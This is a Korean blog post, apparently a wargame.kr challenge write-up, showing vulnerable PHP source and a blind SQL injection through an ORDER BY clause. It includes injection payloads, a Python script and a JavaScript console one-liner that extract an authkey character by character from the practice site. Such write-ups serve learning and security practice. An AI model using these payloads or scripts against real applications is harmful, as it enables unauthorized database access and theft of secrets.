늘모자란, 개발 :: [wargame.kr] Challenge 20 - lonely guys

늘모자란, 개발

Blind SQLi challenge.

Can you SQLi with 'order by' in expression?


<?php
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
include("./inc.php");
include("../lib.php");
//usleep(200000*rand(2,3));
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html>
 <head>
  <style type="text/css">
   body {background-color:#eaeafe;}
   #title {text-align:center; font-size:22pt; border:1px solid #cacaca;}
   #reg:hover {color:#557; cursor:pointer;}
   #contents {text-align:center; width:550px; margin: 30px auto;}
   #admin_tbl {width:100%;}
   #admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;}
   #admin_tbl tbody tr td {border-bottom:1px solid #aaa;}
   #admin_tbl #reg {width:200px;}
  </style>
  <script type="text/javascript" src="./jquery.min.js"></script>
  <script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script>
  <script type="text/javascript"> var sort="<?php echo $sort; ?>"; </script>
  <script type="text/javascript" src="./main.js"></script>
 </head>
 <body>
  <div id="title"> Lonely guys Management page </div>
  <div id="contents">
   <table id="admin_tbl">
    <thead>
     <tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr>
    </thead>
    <tbody>
     <?php
      mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
      $sort = mysql_real_escape_string($sort);
      $result=mysql_query("select * from guys_tbl order by reg_date $sort");
      while($row=mysql_fetch_array($result)){
       echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
      }
     ?>
    </tbody>
   </table>
  </div>
  <div style="text-align:center;">
      <a href="?view-source">view-source</a>
  </div>
 </body>
</html>


sort 는 escape되고 있는데 뭔갈 할 수 있을까?
찾아보니 order by 에 취약점 비슷한게 있다. 블라인드 시도때 한정된것이긴한데, 이런 문법이 가능하다

order by column, (1....)


이때 값이 0이 들어가면 정렬되지 않고, 리턴되지도 않지만 1이상이면 값이 표시된다. 즉, 블라인드 인젝션이 available하다는 말이다.
우리가 긁어야할 컬럼은 소스에도 나와 있듯이 authkey 여서 많은 일을 할 필요는 없다. 그래서 쿼리를 이렇게 짜보았다.

,IF((SELECT substr(authkey,1,1) FROM authkey limit 1,1)=0x20,1,0)



그치만 안된다. 왜지? ㅡㅡ
IF로만 돌려보면 제대로 값이 반환되는듯 보이지만 풀 쿼리로 돌려보면 돌아가진 않는다.
아무래도 쿼리 자체를 부정하는수밖에 없을것 같다. 그래서 좀 바꿔봤다

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time

headers = {'Host': 'wargame.kr:8080'}

pw = ''
for i in range(30,50):
    for j in range(48,91):
        data = ",(select 1 from guys_tbl,authkey where 1=1 and substr(authkey,{},1)={})".format(i,hex(j))
        data = urllib.quote(data)

        req = urllib2.Request("http://wargame.kr:8080/lonely_guys/index.php", "sort=" + data, headers)
        response = urllib2.urlopen(req)
        if len(response.read()) < 1518:
            print chr(j)
            pw = pw + chr(j)
        time.sleep(0.1)
print pw


문제는 이래도 중간중간 다운이 되서.. 세번쯤 돌린것 같다.
쿼리를... 잘 짜야한다... 잘.......... 한시간 반 넘게 이래저래 해본다고 삽질한것 같다...ㅠㅠ

위 python code가 싫다면
흑마술이라고 부르는 다음 js를 콘솔창을 열고 입력해봐도 좋다

(function(){function a(b,c){var a=", (SELECT 1 UNION SELECT IF(ORD(SUBSTRING(authkey,{},1))={},1,0) FROM authkey)".replace("{}",b).replace("{}",f[c].charCodeAt(0));$.post("",{sort:a},function(d){if(h.test(d)&&(e[b]=f[c],40===Object.keys(e).length)){d=Object.keys(e);for(var a="",g=0;g<d.length;g++)a+=e[d[g]];console.log(a)}})}var e={},f="0123456789abcdef".split(""),h=RegExp("jacob","ig");(function(){for(var b=0;40>b;b++)for(var c=0;c<f.length;c++)a(b+1,c)})()})();
2016/06/13 03:04 2016/06/13 03:04